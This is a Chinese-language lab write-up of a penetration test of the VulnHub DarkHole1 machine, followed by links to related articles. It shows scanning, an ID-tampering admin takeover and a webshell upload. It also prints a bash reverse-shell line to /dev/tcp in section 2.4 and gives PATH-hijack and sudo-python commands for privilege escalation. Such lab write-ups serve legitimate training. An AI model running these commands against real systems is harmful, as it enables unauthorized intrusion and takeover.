VulnHub_DarkHole1靶机渗透流程

注意:部署时,靶机的网络连接模式必须和kali一致,让靶机跟kali处于同一网段,这用kali才能扫出靶机的主机

1. 信息收集

1.1 探测IP

使用nmap扫描同一个段下存活的IP

nmap 192.168.157.0/24

发现192.168.157.138开放了80端口,访问后确认为此次渗透的靶机

1.2 详细信息扫描

nmap -A -p- 192.168.157.138

-A:启用操作系统探测与版本检测、脚本扫描和敏感性信息探测等

-p-:扫描所有端口,从0到65535

显示开放了22、80端口,开启了ssh、http服务

1.3 敏感目录扫描

dirsearch -u 192.168.157.138 -e *

-e *:递归枚举目录,使用*匹配所有目录

1.4 指纹收集

whatweb是一款网页指纹识别工具,可以从网页内容与源代码中提取特征,判断网页后端技术。

whatweb -v 192.168.157.138

-v 参数表示启用冗余模式,可以获取更详细的识别信息

2. 渗透流程

2.1 注册账户登录

这里注意到我登录新注册的用户时 id=2,那么访问一下 id=1

“不允许访问其他用户信息” 确实存在,应该是管理员用户

2.2 越权登录admin

有修改密码的位置,抓一下修改密码的包

id 处可以产生越权,改成 id=1 后发包,即可用密码1111登录admin用户

2.3 文件上传获取shell

多出了一个文件上传区域,传个一句话木马

限制了文件上传类型只能为 jpg、png、gif

那么先抓包改包,尝试后缀名为 phtml 时成功上传并执行

连接蚁剑

2.4 反弹shell

在john目录下发现可执行文件 toto

利用蚁剑写一个shell脚本进行连接

bash -c 'bash -i >& /dev/tcp/192.168.157.131/9999 0>&1'

利用bash,反弹一个shell给kali

连接成功

2.5 提权获取john用户shell

查看toto文件

发现uid为john,可以利用环境变量来切换得到john用户shell。在/tmp目录下

echo "/bin/bash" > /tmp/id
chmod +x /tmp/id
export PATH=/tmp:$PATH
./toto

GPT的解释:

这段代码做了以下几件事:

  1. echo "/bin/bash" > /tmp/id : 在/tmp目录下创建一个文件id,内容是/bin/bash
  2. chmod +x /tmp/id : 给id文件添加执行权限
  3. export PATH=/tmp:$PATH : 将/tmp目录添加到PATH环境变量中

所以总的效果是在/tmp下创建了一个名为id的bash执行文件,并将其添加到了PATH路径中。

这 Bring 了一定安全隐患,因为现在直接输入id命令,会执行/tmp下的id文件,也就相当于执行了一个bash shell。

这种通过修改PATH实现攻击的技术,我们称之为PATH变量攻击。攻击者通过控制某个目录或文件的名称,并修改PATH环境变量,使得该目录下的某文件在执行某些命令时被执行,达到攻击目的。

拿到john用户下的flag:DarkHole{You_Can_DO_It}

3. 获取root权限

查看john用户的password :root123

ssh连接,登录john

搜一下具有sudo权限的命令

用户可以编辑并执行root权限的python脚本

那我们将获取shell的命令加入到python脚本中再去执行就可以获得root权限

echo 'import os;os.system("/bin/bash")' > file.py
sudo python3 /home/john/file.py

得到root用户的flag:DarkHole{You_Are_Legend}

DarkHole_1靶机渗透流程的更多相关文章

  1. DC-9 靶机渗透测试

    DC-9 渗透测试 冲冲冲,好好学习 DC系列的9个靶机做完了,对渗透流程基本掌握,但是实战中出现的情况千千万万,需要用到的知识面太广了,学不可以已. 靶机IP: 172.66.66.139 kali ...

  2. 22. CTF综合靶机渗透(十五)

    靶机说明: Game of Thrones Hacking CTF This is a challenge-game to measure your hacking skills. Set in Ga ...

  3. 21. CTF综合靶机渗透(十四)

    靶机说明: I created this machine to help others learn some basic CTF hacking strategies and some tools. ...

  4. 18. CTF综合靶机渗透(十一)

    靶机描述: SkyDog Con CTF 2016 - Catch Me If You Can 难度:初学者/中级 说明:CTF是虚拟机,在虚拟箱中工作效果最好.下载OVA文件打开虚拟框,然后选择文件 ...

  5. 17. CTF综合靶机渗透(十)

    靶机描述:欢迎来到超级马里奥主机!这个虚拟机是对真实世界场景场景的模拟.目标是在VM中找到2个标志.根是不够的(对不起!)VM可以以多种方式开发,但请记住枚举是关键.挑战的程度是中等的.感谢VDBAN ...

  6. hacknos-player靶机渗透

    靶机下载地址https://www.vulnhub.com/entry/hacknos-player,459/ 网络配置 该靶机可能会存在无法自动分配IP的情况,所以无法扫描到的情况下需要手动配置获取 ...

  7. VulnHub CengBox2靶机渗透

    ​本文首发于微信公众号:VulnHub CengBox2靶机渗透,未经授权,禁止转载. 难度评级:☆☆☆☆官网地址:https://download.vulnhub.com/cengbox/CengB ...

  8. VulnHub PowerGrid 1.0.1靶机渗透

    ​本文首发于微信公众号:VulnHub PowerGrid 1.0.1靶机渗透,未经授权,禁止转载. 难度评级:☆☆☆☆☆官网地址:https://download.vulnhub.com/power ...

  9. DeRPnStiNK靶机渗透

    DeRPnStiNK靶机渗透 常规的信息搜集 扫到了phpmyadmin以及wordpress并在后台发现弱密码,即admin,admin 这里对wordpress进行了扫描: 扫描插件: searc ...

  10. BTRsys1~2系列靶机渗透

    BTRsys系列靶机渗透 BTRsys1 端口发现加目录扫描. 发现目录:http://192.168.114.161/login.php 尝试弱密码失败,查看源代码. <script type ...

随机推荐

  1. 使用自定义lua解析管理器调用lua脚本中的table

    [5] 使用自定义lua解析管理器调用table 访问数组类型的table CallLuaEntrance测试脚本中内容: //------------------------------------ ...

  2. Docker 必知必会3----使用自己制作的镜像

    前面的两篇文章分别讲了,docker的基础概念,设计思路以及docker的基本操作.感兴趣的同学可以查阅: https://www.cnblogs.com/jilodream/p/18177695ht ...

  3. Cookie的过期时间为Session在微信浏览器失效

    前言 最近一次迭代上线,结果临了上线当晚,被我无疑间发现一个bug,之前测试小伙伴没测出来.Cookie的过期时间为Session在微信浏览器失效 ..net framework webform 项目 ...

  4. 4G LTE/EPC UE 的附着与去附着

    目录 文章目录 目录 UE 附着 UE 与 MME 建立 NAS 连接 UE 附着协议全景 UE 附着流程 UE 去附着 UE 侧发起的去附着 MME 发起的去附着 HSS 发起的去附着 UE 附着 ...

  5. 我们小公司,哪像华为一样,用得上IPD(集成产品开发)?

    在一些咨询或活动现场,我们经常听到有朋友说:我们是小公司,IPD(集成产品开发)太厚重了,不适合我们.但--到底哪里不合适? 提及IPD,成功的案例多以大公司为主:20世纪90年代,IBM在激烈的市场 ...

  6. 通过计算巢轻松部署 Walrus

    概述 Walrus 是一个用于管理和部署应用程序的平台,它提供了一个集中化的管理界面,使用户能够轻松地管理应用的生命周期,包括创建.配置.部署.监控和维护应用.Walrus 还提供了一些高级功能,如应 ...

  7. ReplayKit2:声音回调时间戳问题

    一.ReplayKit2 框架回调中 视频.micphone声音.系统声音三路回调 - (void)processSampleBuffer:(CMSampleBufferRef)sampleBuffe ...

  8. UIView AutoLayout WrapContent,UIview 实现自动包裹

    一.需求 实现一个UI组件,要求组件内部的内容变化的时候,内容需要同时产生变化 二.实现 效果: 一个三个元素的组件,两边固定大小,中间的Label内容会变化 实现的约束: 首先保证三个元素同时居中, ...

  9. MySQL学习笔记-事务

    事务 事务:是一组操作的集合,是一个不可分割的工作单位,事务会把所有操作作为一个整体一起向系统提交或撤销操作请求,即这些操作要么同时成功,要么同时失败(当操作中某一步出现异常时,前面已执行的步骤也会失 ...

  10. 【AI应用开发全流程】使用AscendCL开发板完成模型推理

    本文分享自华为云社区<[昇腾开发全流程]AscendCL开发板模型推理>,作者:沉迷sk. 前言 学会如何安装配置华为云ModelArts.开发板Atlas 200I DK A2.并打通一 ...